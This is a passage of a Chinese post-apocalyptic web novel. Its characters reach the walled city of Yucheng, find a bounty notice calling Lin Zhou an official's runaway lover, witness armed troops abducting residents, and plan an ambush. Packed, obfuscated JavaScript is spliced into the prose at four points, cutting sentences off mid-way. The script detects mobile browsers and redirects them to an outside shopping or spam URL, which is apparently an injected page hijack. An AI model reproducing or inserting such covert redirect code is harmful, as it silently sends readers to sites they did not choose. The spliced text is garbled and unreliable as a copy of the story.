林昼看着碗里堆成小山的菜,沉默了两秒,然后端起碗,默默吃起来。 郭离看着那两个人,忽然觉得,这种日子好像也不错。虽然是末日,虽然是废墟,虽然外面到处都是怪物——但这一刻,阳光暖洋洋地照着,锅里的汤咕嘟咕嘟地冒着热气,旁边的人说说笑笑。 好像也没什么可怕的。 下午的时候,他们又讨论了一会儿路线,然后把剩下的物资重新打包好,装上车。郭离检查了一遍车况,确定明天能顺利出发。 封宵一直在林昼旁边转悠,林昼清点药品,他帮忙递盒子。林昼整理背包,他帮忙系带子。林昼坐在石头上休息,他就蹲在旁边,托着下巴看。 郭离路过的时候,忍不住问了一句:“封宵,你不累吗?” 封宵摇摇头:“不累。” “你一直跟着林哥转悠,我觉得林哥累了。” 封宵想了想,可怜巴巴地望着林昼,说:“是吗,哥?”说着,眼眶就要红了。 郭离:“……” 林昼:“……” 林昼不得不靠过去,摸了摸封宵的头,温和地说:“没有,他是羡慕你有哥。” 行吧。郭离在心里嘀咕道,没事和封宵较真干嘛。 傍晚的时候,他们又生了一堆火,围坐着吃晚饭。太阳落下去,天边烧成一片橘红色。废墟的轮廓在暮色里变得柔和,连那些坍塌的墙壁都镀上了一层暖光。 卢双玲抱着碗,看着那片晚霞,忽然说:“我姐以前说过,等一切都结束了,要找一个有阳光的地方,种一片花。” 过了一会儿,封宵开口:“等我哥和我找到那种地方的,到时候我们都去。” 卢双玲愣了一下,看向封宵,她忽然笑起来:“好啊,到时候我们都去。” 郭离举起手里的碗,大声说:“那就这么定了!等一切结束,咱们每天吃饱喝足晒太阳!” “好!”卢双玲也举起碗。 两个碗碰在一起,发出清脆的声响。 封宵看着他们,也举起碗,他们同时看向林昼。 林昼终于抬起头,沉默了一秒,然后端起自己的碗,轻轻碰了一下。 “好。”他说。 封宵的眼睛一下子亮了,他把碗举得高高的,和郭离、卢双玲的碗碰在一起,发出更大的声响。 “好!”他大声说。 四个人都笑了。 火堆噼啪地响着,晚霞渐渐暗下去,变成深色的夜幕。星星一颗一颗地亮起来,挂在废墟上空,和很久很久以前一样。 郭离靠着车轮,卢双玲抱着膝盖,封宵挨着林昼,他们一起看着那片星空。 夜风吹过来,带着草木的气息。远处隐约传来几声腐行尸的嘶吼,但离得很远,像另一个世界的声音。 这个世界里,只有四个人,一堆火,和慢慢沉下去的夜。 天亮的时候,封宵睁开眼,发现自己不知道什么时候躺了下来,身上盖着林昼的外套。 林昼坐在旁边,正在看地图,手里拿着笔在上面做记号。晨光落在他身上,把他的侧脸照得很干净。 封宵看着他,看了很久,然后他爬起来,凑过去。 “哥,早上想吃什么?” 林昼转过头,看了他一眼。 “随便。” 封宵笑起来,转头就去准备伙食。 林昼看着他的背影,嘴角弯了弯,说来也奇怪,他觉得封宵做出的东西有一种熟悉的味道,说不出来,但让人怀念,好像很久以前在什么地方吃过。 林昼坐在原处,手里的笔停在半空,目光落在封宵身上,想得出神。 “哥?”封宵喊了一声。 林昼回过神:“怎么了?” “没什么。”封宵的声音飘过来,“看你好像在发呆。” 吃过饭,林昼从车里拿出一样东西,一把刀。 他走到封宵面前,封宵正蹲在地上捆背包,感觉到头顶的光被人挡住了,抬起头。 林昼把刀递过去:“给你。” 封宵看着那把刀,刀身在晨光下反射出一道细细的光线,从刃口滑到刀尖,像一条银色的鱼。他伸出手,接过去。 刀比他的旧刀重一些,握在手里沉甸甸的,刀柄上还带着林昼手心的温度。他翻过来看了一眼,握着刀柄,手腕轻轻一转。刀身在空气中划出一道弧线,刃口破风的声音很轻脆。 他看着林昼,嘴角翘起来,压都压不住的欢喜。 “哥,谢谢你,我很喜欢!” 林昼看着他,点了点头。 “走吧。”他说,“上车。” 封宵把刀捧在手上,走到车旁边的时候还忍不住摸了一下刀柄,又摸了一下。 郭离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388030|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从驾驶座探出头来,看见那把刀,吹了声口哨:“哟,好刀。” 封宵没理他,他放好刀,绕到驾驶座那边,拉开郭离的车门。 “下来,我来开。” 郭离愣了一下:“你会开?” 封宵看了他一眼。那个眼神很平淡,但郭离莫名其妙觉得自己被鄙视了。他默默挪到副驾驶,正要坐下去,旁边的门被林昼拉开。 “劳驾。” 郭离只好坐到后排和卢双玲一起。 封宵开车,脚下油门踩得又稳又狠。车子在废弃的街道上穿行,绕过坍塌的建筑,避开坑洼的路面,路上遇到腐行尸的时候,他只说了两个字:“坐稳。” 车子从腐行尸中间穿过去,距离近得郭离能看清其中一只脸上的烂肉,郭离立刻闭上眼睛。 后座上,卢双玲也闭着眼睛。但她不是因为害怕——她靠着车窗,呼吸均匀,竟然睡着了。 车子开了大半天,路越来越难走,从平整的公路变成碎石路,又从碎石路变成泥泞的土路。两旁的风景从废墟变成荒地,又从荒地变成低矮的灌木丛。 太阳从东边升到头顶,又从头顶滑到西边。 卢双玲睡了一觉醒来,揉了揉眼睛,从背包里翻出几块压缩饼干,分给大家。 “快到了吗?”她问。 “快了。”郭离说,“翻过前面那个坡就是。” 车子冲上坡顶的时候,所有人都看见了。 一座城。 不,应该说是一座要塞。 灰黑色的城墙矗立在一片开阔地上,至少有四五层楼高,墙面上布满了修补的痕迹——有的地方是新砌的石块,有的地方是焊接的铁板,有的地方干脆用钢筋和水泥胡乱糊上。城墙顶上,隐约能看见有人在走动,手里拿着武器。 城门很大,但只有一扇是开的。那扇门上焊着厚厚的铁板,铆钉密密麻麻,像某种巨兽的鳞甲。门洞两侧点着火把,火光在暮色中跳动,照亮了城墙上用红漆刷的几个大字—— “禹城。” 门前排着一条不长的队伍。几辆破旧的卡车,还有一些步行的人,背着大包小包,安静地等着。 封宵把车排在队伍最后面,熄了火。 “这里……”卢双玲趴在车窗上,看着那座城,眼睛睁得大大的,“这里怎么会有这么大一座城?” “一直都有的。”封宵说,“病毒爆发之前就有了。最早是个矿区,后来人越来越多,就建了墙。” 他顿了顿。 “里面基本上什么都有。只要你有东西换,什么都能找到。” “用什么换?”郭离问。 “什么都行。物资,工具,信息,力气……这里不讲钱,只讲东西和人。” 队伍移动得很快,守门的人动作利落,登记、检查、放行,一套流程下来用不了几分钟。 轮到他们的时候,一个穿着破旧军大衣的男人走过来,敲了敲车窗。 封宵摇下窗户。 “几个人?”那人问。 “四个。” “什么东西?” 封宵从怀里掏出一小包药品——抗生素。那人接过去,打开看了一眼,眼睛亮了一下。 “够进城了。”他说,“再交一盒,给你们办个临时通行证,七天。” 封宵又掏出一盒。那人把两盒药揣进口袋,递过来四张用油印机印的纸片,上面歪歪扭扭地写着“禹城临时通行证”几个字,盖着一个红色的章。 19. 情人 车子缓缓驶入城门,门洞很长,两侧的墙壁上挂着火把,火光把车厢里照得忽明忽暗。头顶能听见脚步声,有人在城墙上走动,皮靴踩在石板上,发出沉闷的声响。 车子穿过门洞,进入禹城内部,视线一下子开阔了。 街道不宽,两旁的建筑挤挤挨挨,高高低低,像是被人随手搭起来的积木。从窗户里透出昏黄的光,看起来像是油灯。 街上有很多的人,有的背着货物匆匆走过,有的蹲在路边摆摊,摊上摆着各种各样的东西——旧时代的收音机,生锈的工具,发霉的书籍,还有不知道从哪儿翻出来的衣服和鞋子。一个老头坐在墙角,面前摆着一排玻璃罐子,罐子里泡着不知名的东西,在火光下泛着诡异的颜色。 不远处有一栋两层的木楼,门口挂着红灯笼,楼上的窗户半开着,隐约能听见女人的笑声和男人的吆喝。卢双玲看了一眼,飞快地转过头。 再往前是一家酒馆,门板歪歪斜斜地挂着,但里面人声鼎沸,有人在划拳,有人在叫骂,有人在扯着嗓子唱歌。酒香从里面飘出来,混着劣质烟草的味道,呛得人嗓子发干。 街角还有一家铺子,门口摆着各种金属零件和拆了一半的机器,一个满脸油污的男人蹲在地上,正用扳手拧着什么。 封宵把车拐进一条小巷,停在一栋三层小楼后面。那栋楼看起来比周围的建筑结实一些,外墙刷过一层灰浆,窗户上装着铁栏杆,门口还挂着一块木牌,上面刻着“乌鸦旅馆”四个字。 “到了。” 四个人下了车,封宵走在最前面,推开旅馆的门。 门内是一个不大的厅堂,摆着几张旧沙发和一把摇椅。墙上挂着几盏油灯,火苗微微跳动着,把影子投在地板上。空气里有股木头和熏香混合的气味,暖烘烘的。 柜台后面,一个老头正趴在桌上打瞌睡。 他穿着一件洗得发白的旧棉袄,头发花白稀疏,脸上布满了皱纹。 封宵走到柜台前,敲了敲桌面。 “老头。” 老头没动。 “老头。”封宵又敲了敲。 老头的身体猛地弹了一下,抬起头,迷迷糊糊地眨了眨眼。他看清面前站着的人,愣了一下,然后那双浑浊的眼睛忽然亮了。 “哎呀,稀客啊?!” 他站起来,动作快得不像个老人,绕过柜台,一把抓住封宵的手臂。 “不是小老头眼花了吧?真是你!我还以为你死了!你上哪儿去了?你——”老头的一连串发问被封宵打断。 “打住。我可不是来跟你叙旧的。” 老头这才注意到他身后还站着三个人。 他的目光从郭离身上扫过,从卢双玲身上扫过,然后—— 停住了。 他看着林昼。 那双浑浊的眼睛忽然定住,他的嘴唇动了动,发出一个含糊的音节,但什么话都没说出来。他的脸色忽然变了,直直地盯着林昼。 “你……”老头的声音发抖,“你是……” 就在郭离和卢双玲以为这是什么大型认亲现场的时候,封宵往前迈了一步,挡在林昼前面。 封宵的声音不大,但很沉:“你这么盯着人看,很没礼貌。” 老头愣了一下,他看了看封宵,又看了看他身后那个人,喉结动了动。 “不是……”他的声音压低了,带着急切,“前几天来了一群人——” 他赶紧冲到门口把大门关上,转过身走到柜台后面,蹲下去翻什么东西,最后从柜子最底层翻出一张纸。 【浮罗达悬赏令】 悬赏目标:男,25岁,黑发,容貌极其出众(附照片),身高约182,体态偏瘦。 身份:萧知沉阁下情人(因情感纠纷私自出逃)。 悬赏金额:提供确切行踪者,赏金10000点贡献点;安全护送其返回浮罗达者,赏金50000点贡献点,并授予浮罗达荣誉居民身份。 照片用的是浮罗达专用的光感相纸,照片里的青年穿着简单的白色亚麻衬衫,袖口松松挽到手肘,露出线条分明的小臂。他坐在浮罗达中央公园的长椅上,微微垂着头,修长的手指正翻过一页纸质书。阳光透过穹顶洒下来,在他睫毛下投出细碎的阴影,唇角带着若有若无的弧度。 照片角落还拍到了半杯放在长椅上的咖啡,杯壁凝结着水珠,沿着弧度缓缓滑下一道水痕,旁边搁着一副金丝眼镜。整个画面透着诡异的生活气息,像是从某个平行时空截取的片段。 “这照片……”郭离凑近看了看,“这角度是偷拍啊,还挺会选角度。” 卢双玲赞同道:“把林哥拍得像旧时代文艺片男主角。” 封宵跟着凑过去,念出声: “悬赏令……系浮罗达行政中枢秘书长萧知沉之——之——” 他的声音卡住了。 “情人。”老头替他说完,“上面写的是情人。” 封宵抬起头,看向林昼:“哥,情人是什么?” 几个人同时愣住,看向封宵。 厅堂里安静了几秒,老头张着嘴,看着封宵,像看一个从外星来的生物。郭离的表情僵在脸上,嘴角抽了抽,想笑又不敢笑。卢双玲默默低下头,肩膀微微颤抖出卖了她的心情。 林昼看着封宵那双琥珀色的眼睛,里面充满了好奇——他是真的不知道。 林昼忽然觉得太阳穴有点疼。 “情人就是……”他斟酌了一下措辞,“感情特别好的人。” 封宵眨了眨眼。 “那我和哥感情也特别好。”他的语气理所当然,“那我也是哥的情人。” 老头的嘴巴张得更大,下巴上的褶子叠了好几层。郭离终于没忍住,发出一个奇怪的声响,像是被自己的口水呛到,他赶紧捂住嘴,别过脸去。 卢双玲抬起头,飞快地看了林昼一眼,八卦的本性油然而生,她现在非常想知道他是不是悬赏令里面说的情人。 林昼的脸上没什么表情,但他的耳朵尖红了。 “不是那个意思。”他的声音比平时轻了一点。 “那是什么意思?”封宵一脸认真地追问。 “就是……”他顿了顿,“很亲密的人。有……特殊感情的人。” 封宵想了想,说道:“那不就是我吗?” 林昼看着封宵。 封宵也看着林昼。 “哥,”封宵又开口了,“你是不是不想让我当你的情人?” 这句话一出,厅堂里的空气彻底凝固了。 老头终于忍不住了,发出一声类似于咳嗽的声响,转过身去假装整理柜台上的东西。他的手在抖,把一个茶杯碰倒了,又手忙脚乱地扶起来。 郭离终于笑出声,他捂着肚子,弯着腰,笑得直抽抽,一边笑一边说:“对不起……对不起……我不应该笑的……但是……”他说不下去了。 卢双玲也笑了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388031|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只有林昼没有笑。 他站在那里,看着封宵等待答案的眼睛。他知道封宵不是故意的——这孩子是真的不懂。 他忽然有点不知道该怎么接这句话。 “不是不想。” 封宵的眼睛亮了一下。 “那哥是同意了?” “没有。”林昼说。 封宵的眼睛又暗下去,他脸上带着一丝委屈,像一只被主人反复逗弄又始终够不到骨头的小狗。 林昼深吸了一口气:“这个事,以后再说。” 封宵张了张嘴,还想说什么,但林昼已经转过身,走向柜台,他对老头说:“请问给这东西的那群人离开了吗?”他的声音恢复成平时的平淡。 老头答道:“这不是还没有吗?我真怕你们撞上了!” 他说着从柜台后面摸出三把钥匙,递给林昼:“你们今晚在这就先别出去了,那张悬赏令在广场上贴得到处都是。” “好。”林昼接过来,给卢双玲和郭离分发钥匙后就转身上了楼。 走了两步,他停下来。 “封宵。” “在!”封宵的声音立刻响起来。 “上来。” 封宵愣了一下,然后飞快地跑过去,三步并作两步追上林昼,跟在他身后上了楼。 郭离和卢双玲也跟在后面,他问卢双玲:“你说这小子,是真不懂还是装不懂?” 卢双玲想了想:“应该是真不懂。” “你怎么知道?” “因为……”卢双玲顿了顿,“他看林哥的眼神,不是那种眼神。” 郭离看了她一眼,没再问了。 楼梯很窄,木制的,踩上去咯吱咯吱响。墙上的石灰剥落了大半,露出里面的砖头。空气里有一股陈旧的木头味,混着楼下飘上来的熏香。 走到二楼,走廊尽头亮着一盏灯。林昼和封宵的房间门开着,隐约能听见封宵的声音从里面传出来。 “……哥你生气了?” “没有。” “那你为什么耳朵红?” “……火烤的。” “可是火在一楼啊。” 沉默。 郭离和卢双玲对视一眼,默契地加快脚步,推开隔壁房间的门,闪身进去,轻轻关上门。 走廊里安静下来。 只剩下封宵的声音,隔着薄薄的墙壁,闷闷地传过来: “哥,我是不是说错话了?” 过了一会儿。 “没有。” 又过了一会儿。 “那我到底能不能当你的情人?” 更长的沉默。 “睡吧。” 走廊里的油灯被吹灭了一盏,只剩下楼梯口那盏还亮着,窗外的禹城还没有完全睡去。远处隐约传来酒馆里的笑骂声,有人在巷子里踢翻了什么,哐当一声,又归于沉寂。风从窗板的缝隙里钻进来,带着深秋的凉意。 林昼的呼吸变得均匀了。 封宵侧躺着,脸对着林昼的方向。黑暗中他看不清林昼的脸,只能看见一个模糊的轮廓,他听了一会儿他的呼吸声,觉得心里平稳又宁静。 然后他翻了个身,面朝天花板,小声嘀咕道:“我现在的目标,就是当哥的情人。” 他顿了顿。 “那个叫萧知沉的……要不要杀掉好了。” 他把被子往上拉了拉,盖住下巴。 “哥会不高兴吗?” 20. 浮罗达猎犬 凌晨时分,大多数人还在沉睡。 禹城的夜晚没有路灯,没有霓虹。月亮被云层遮住,整座城沉在黑暗里,只有偶尔几声野狗的吠叫从远处传来。 停在小巷里的那辆浮罗达越野车安静地蛰伏着,通讯器的指示灯闪烁了几下,然后亮起来。 “……猎犬小队呼叫巢穴,紫罗兰区样本回收任务失败。重复,样本未被捕获。目标区域发现高强度战斗痕迹及融合巨怪残骸,判断有第三方强力武装介入……” 沙沙……一段噪音过后,另一个略显焦躁的声音插入:“巢穴收到。优先任务变更!火种计划第三阶段资源告急!所有外勤小队不惜一切代价进行资源回收行动!” 声音沉默了两秒,然后回复:“明白。猎犬小队已进入禹城,资源回收将于今晚进行。” 小巷重新陷入沉寂。 天亮了,禹城的早晨比夜晚更嘈杂。卖吃食的摊子已经支起来,热气和油烟混在一起,从破旧的棚子里飘出来。远处传来铁器敲打的声音,叮叮当当的,不知道是修车还是打铁。 林昼从楼上下来的时候,已经换了副模样。 一顶灰色的帽子压得很低,遮住大半额头。口罩是黑色的,从鼻梁一直盖到下巴,只露出一双眼睛。领口竖起来,把脖子也遮住了。他穿着老头不知道从哪儿翻出来的一件旧外套,灰扑扑的,袖口磨得起毛,和他从浮罗达带出来的那些衣服完全不是同一个世界的东西。 封宵跟在他后面,看见他这副打扮,愣了一下。 “哥,你这样……” “怎么了?” “没什么。”封宵移开目光,“就是觉得,哥遮住脸也好看。” 林昼:“……”习惯就好。 郭离和卢双玲已经在一楼等着了。老头不在柜台后面,大概又去睡回笼觉了。 禹城的街道在白天看起来更破旧。墙壁上的裂缝像蛛网一样蔓延,路面坑坑洼洼,几个光着脚的小孩追着一只生锈的铁环从林昼旁边跑过去。 林昼低着头,帽檐压得很低。封宵跟在他旁边,一只手搭在腰间的刀柄上,心情还不错。 广场在禹城的中心,说是广场,其实就是一片稍微宽敞些的空地。地上铺着不规整的石板,有些地方碎了,露出底下的泥土,广场四周是几栋相对体面的建筑。 他们到的时候,广场上已经围了不少人,好像都是在看热闹——是浮罗达刚进城的车。 郭离和卢双玲站在人群边缘,踮着脚往里看。 那些车和他们开的那辆越野车有些相似,又有些不同。更大,更厚,车身是哑光的深灰色,棱角分明,像几头趴在地上的钢铁巨兽。车窗玻璃是黑色的,看不见里面,但能隐约感觉到有人在往外看。车顶装着某种设备,方方正正的,不知道是通讯天线还是武器系统。 车轮比郭离的膝盖还高,胎纹深得能塞进一根手指。 “我操……”郭离小声说,眼睛都直了,“这是车吗?这是坦克吧。” 卢双玲的眼睛也睁得很大,她见过最好的车就是林昼那辆,她已经觉得那辆车够好了。但眼前这几辆,有种说不出来的傲慢——让她忽然想起一个词。 乌托邦。 这些人,来自乌托邦。 车门打开了。 下来的人穿着统一的深色作战服,是浮罗达量身定制的、带着护甲和战术挂载的制式装备。他们的靴子踩在禹城的石板路上,发出沉重的声响。 一共下来了八个人,为首的那个人摘下墨镜,露出一张年轻的脸。他的目光扫过广场上围观的人群,眼神很平淡,像在看一堆没有生命的物件。 “Riven。”后面的人开口询问,“就是这里吗?” Riven点点头,冷淡地开口:“让开。” 人群自动让开一条路。 郭离看着那些人从面前走过,他们身上没有任何多余的装饰,没有伤疤,没有污秽,没有任何属于末日的痕迹。他们的皮肤是干净的,指甲是修剪过的,头发是梳理过的。 他们不像活在这个世界上的人。 郭离忽然觉得喉咙有点干。他想起自己已经三天没洗澡了,指甲缝里的污渍都还没洗掉,他下意识地把手缩进袖子里。 卢双玲注意到了他的动作,看了他一眼,没说什么。 那几个人一起走向广场的一个建筑里面。人群没有散,都在低声议论他们。 郭离和卢双玲对视一眼,没说话,继续站在人群里看着。 另一边,林昼和封宵正穿过一条狭窄的巷子,往酒馆的方向走。 巷子很窄,两个人并排走有点挤。两侧的墙壁上爬满霉斑,头顶晾着不知道谁家的衣服,滴滴答答地往下滴水,地上湿漉漉的。 一个人从拐角处撞出来,酒气先于人到。那股劣质酒精发酵后的酸臭味扑面而来,林昼侧身想躲,但巷子太窄,没躲开。 一只手抓住他的手腕。 “哎哟——”那人打了个酒嗝,眯着眼睛凑近,“这是谁家的小美人?怎么还戴着口罩?让哥哥看看——” 然后那只手瞬间被封宵捏住了,封宵只是轻轻一拧。 “啊——!” 醉汉抬起头先看见的是刀,刀身修长,刃口离他的脖子不到一寸,然后他顺着握刀的手往上看,看见一张年轻的、面无表情的脸。 封宵看着他,像在看一件即将被处理掉的垃圾。 “你——”醉汉的声音变了调,“你——” 封宵没有说话,只是盯着醉汉,却让他感到一种压迫感,这下他的酒彻底醒了。 “封宵。”林昼的声音平静地传来,“松手。” 封宵看了林昼一眼,松开手,退后一步,刀也收了回去。 醉汉瘫坐在地上,大口喘气。 这时,巷子那头又跑过来一个人,大概是他的同伴。那人跑近了,看见坐在地上的醉汉,又看见封宵,他的脸色变了变。 他一把拽起地上的醉汉,力气大得把人拖了个趔趄。 “你他妈不要命了!这个活阎王你也敢惹!”他压着嗓子骂,声音都在抖。两个人跌跌撞撞地跑远,消失在巷子那头。 林昼和封宵转身继续往巷子那头走,老头说那几个发布悬赏令的人还在酒馆里。 酒馆的门板歪歪斜斜地挂着,里面已经坐了不少人。空气里全是烟草和酒精的味道,混着食物加热后的油腻气。光线很暗,只有几张桌子上点着油灯。 林昼选了一个角落的位置坐下,背对着墙。封宵坐在他旁边,一只手搭在桌上,另一只手垂在身侧。 林昼的目光扫过大厅,很快就找到目标。 他们没有穿作战服,换了一身便装——但那种便装在禹城也很扎眼。他们面前的桌上摆着酒,但没人喝,此时正在低声说话,声音断断续续地飘过来。 “……萧知沉……” 林昼的手指顿了一下。 “……那件事闹大了。元老院那边抓住不放,说博士可能还没死……” “……没死?不是说情杀吗?” “你信那个?”说话的人嗤笑一声,“萧知沉那种人,会为了个男人搞什么情杀?” “那你说是怎么回事?” “我哪儿知道。我只知道,那件事之后,他在中枢的日子不好过。元老院和审查委员会都揪着他不放。” “可他不是执行长的……” “嘘。” 声音压得更低了,另一个声音响起来,带着一种微妙的兴奋。 “……听说是私生子,一直没公开,这次闹大了才……” “真的假的?” “真的。” “所以……他可能是将来的……” 他们没有把那句话说完,林昼坐在角落里,看着面前的空桌子。他不由得地想起萧知沉,再听到这个名字仿佛已经隔了几个世纪。 封宵坐在旁边,看着林昼的侧脸。那张脸被口罩遮住了大半,只露出一双眼睛。那双眼睛看着桌子,但好像在看向别的地方。 封宵的手指在桌面上轻轻敲了两下,他自己都没注意到这个动作。 “哥。”他轻声说。 林昼回过神。 “怎么了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388032|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没什么。”封宵移开目光,“要不要喝水?” “不用。”林昼站起来,“走吧。” 两个人走出酒馆,外面的光线比里面亮得多,林昼眯了一下眼睛。 封宵站在他旁边,看着他。 “哥。”他又喊了一声。 “嗯?” “那个萧知沉……”封宵顿了顿,“是不是对哥很好?” 林昼看了他一眼。 “为什么这么问?” 封宵没回答,他忽然觉得胸口有什么东西堵着,说不上来是什么感觉。 “没什么,我会对哥更好的。” 林昼:“……” 两个人沿着来时的路往回走,四个人在中午之前都回了乌鸦旅馆。 他们叫上老头,直接上了二楼,挤进郭离的房间。 郭离先把门关上才开口说话:“浮罗达那群人来了之后有个很奇怪的事情,有些地方开始挂白帆。” “白帆?” “嗯,挂在门口。我问了一个挂白帆的人,那人看我的眼神很奇怪,也不跟我说话。” 林昼听完,问道:“你们看到的浮罗达车辆是什么样子的?” 经过郭离和卢双玲的描述,林昼确定这一支是资源回收小队,也就是说他们很有可能是来这里抓人的。 是因为拟态潘多拉Ⅲ型优化?还是别的什么研究? 林昼:“郭离,天黑之前,不管用什么办法,去找一块白布,挂在这家旅馆外面。” 郭离愣了一下:“我们也挂?” “挂。” 林昼站起来,走到窗边,推开一条缝。外面的巷子里很安静,偶尔有人走过,脚步匆匆。远处隐约能看见几栋建筑的屋顶,其中一栋的窗户上,挂着一块白色的布,在风里轻轻飘着。 “今天谁都不要出门。” 天黑得很快。禹城的夜晚一如既往的黑,只有零星的油灯火光从窗户里透出来,像几只困在笼子里的萤火虫。 有枪声响了。 林昼站在二楼的窗户后面,往外看。 白天停在广场上的钢铁巨兽,此刻正穿行在禹城的街道上。车顶的灯亮着,惨白的光扫过四散奔逃的人影。 车开得不快,像猎食者在自己的领地里巡视,它们经过的每一栋建筑,都有人被拖出来。 男人,女人,老人,孩子,没有区别。他们被枪顶着后脑勺,双手抱头,排成一列,被赶上后面的空车,遇到反抗直接被一枪毙命。 车经过挂白帆的房子时,继续往前开,避开了它们。 卢双玲站在林昼旁边,不敢置信地捂着嘴。一个母亲被人从房子里拖出来,怀里还抱着孩子。那孩子哭了,声音尖细,在枪声里几乎听不见。 “为什么……”她的声音从指缝里漏出来,“他们为什么要……” 郭离没有说话,他的拳头攥得死紧,他想起白天在广场上看见那些人时,觉得他们很干净,期望有一天变成他们,现在忽然觉得很恶心。 枪声持续了大概二十分钟,然后那些挂着白帆的人家,有人开门走出来,手里拿着油灯和袋子。他们走到街上,低着头,开始收拾,把那些被拖走的人留下的东西,衣服,鞋子,锅碗瓢盆等,一样一样地捡起来,装进袋子里,拎回家。 动作很熟练,像是做过很多次。 卢双玲看着那些人,她慢慢松开捂着嘴的手,垂在身侧。 林昼站在窗前,看着车消失在城门的方向,他突然想起被绑在实验台上的少年,而那些人的下场不会好到哪去。 “我要去救人。” 封宵没有犹豫,紧跟着说道:“好。” 郭离从窗前转过身,看着林昼,他眼睛里还有没有褪去的愤怒:“算我一个。” 卢双玲也抬起头:“我也去。” 他们出门的时候,老头怒骂道:“你们……你们疯了!那是浮罗达的人。你们怎么救?拿什么救?” 林昼回答他:“我有办法。” 老头想了想,有封宵在,好像什么也不用拿,于是说道:“那我也去!” 21. 伏击 郭离叹了口气:“早知道就待一天,咱们就不该拿七天的物资去换。”他心疼得直抽抽。 卢双玲闻言也露出一副肉疼的表情:“就是,我还以为能住上几天呢。” “住什么住,”郭离锤了一下窗户,“这种地方,多待一天都折寿。” 老头跟他们俩一起坐在后座,封宵从副驾驶座上回头问他:“老头,你真要走?你那旅馆不要了?” 老头看着封宵,哼了一声:“反正在这儿早晚给人卖了都不知道,还不如跟着你。” 他顿了顿,挺着腰板,说道:“再说了,我还不满六十呢,正是闯的年纪。” 郭离在旁边笑了笑,问道:“不满六十?请问您老今年高寿啊?” “五十九。”老头面不改色,“明年才六十。” “哈哈,欢迎加入我们流浪团伙。” 林昼没有参与他们说笑,他在驾驶座上一直在调试通讯系统。 车开了一会儿,终于有人忍不住问道:“小林啊,你到底有什么办法?” 老头虽然毫不怀疑封宵的能动性,但是他也好奇林昼能有什么办法。 林昼将中控台打开,屏幕上又出现那些跳动的网格线和光点。他的手指在中控台的按钮上飞快地操作了几下,屏幕上跳出一张波形图,频率在不停地切换。他按下一个键后,从扬声器里传出陌生的声音。 “……巢穴,猎犬小队汇报。任务进展顺利,已捕获三十名未感染样本,身体状况良好,无异常。现正沿预定路线返回,完毕。” 通讯结束,林昼调出导航系统,屏幕上显示出Riven那辆车的信号——一个稳定的绿色光点,停在一片开阔地附近,一动不动。 林昼开口说道:“浮罗达外勤执行任务时,需要注射一种药剂——拟态潘多拉三型。这种药剂能急剧提升身体素质,但副作用是,药效结束后,使用者会进入强制神经休眠。” “强制神经休眠?”郭离重复了一遍。 “就是昏迷。改良版本也只是延长药效时间,缩短休眠时长,但副作用无法完全消除。以他们小队的规模,不可能所有人同时进入休眠,一定会分成两批,轮流值守。” 郭离的眼睛亮了一下。 “所以,”林昼继续说,“按现在的情况来看,他们有一半的人已经进入休眠。” “那不就剩四个了?”郭离的声音里带上了一点兴奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388033|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 林昼把车停在距离猎犬小队休整地三公里外。 他率先下车:“我们必须伪装成流民接近他们。” “然后趁他们没有防备的时候动手。”封宵接了一句。 林昼看了他一眼,点了点头。 “但有一个问题。”卢双玲问道,“他们身上有枪,万一我们一靠近就被击毙了呢?” “不会,活人比死人值钱。他们的任务是‘资源回收’,不是清剿。”林昼的语气很确定。 最后老头留在车上,负责接应。 月亮还没出来,四周黑得只能看见彼此的轮廓。风从荒原上吹过来,带着枯草和泥土的气息。远处有一点光——是Riven他们的营地,车灯还亮着。 郭离的脚步慢下来,他的手心开始出汗,心脏跳得很快。郭离的步子几乎要停了,他开始怀疑——是不是被发现了?是不是他们根本没有休眠?是不是那些人正躲在车里,枪口已经对准了他们—— 然后车灯灭了。 一瞬间,整个营地陷入黑暗,几个人的脚步同时停住。 “晚上好,林博士。” 一个人从车后面走出来,是Riven。 22. 合作 Riven身上没有携带任何武器,他打了个响指,灯光重新聚起来。 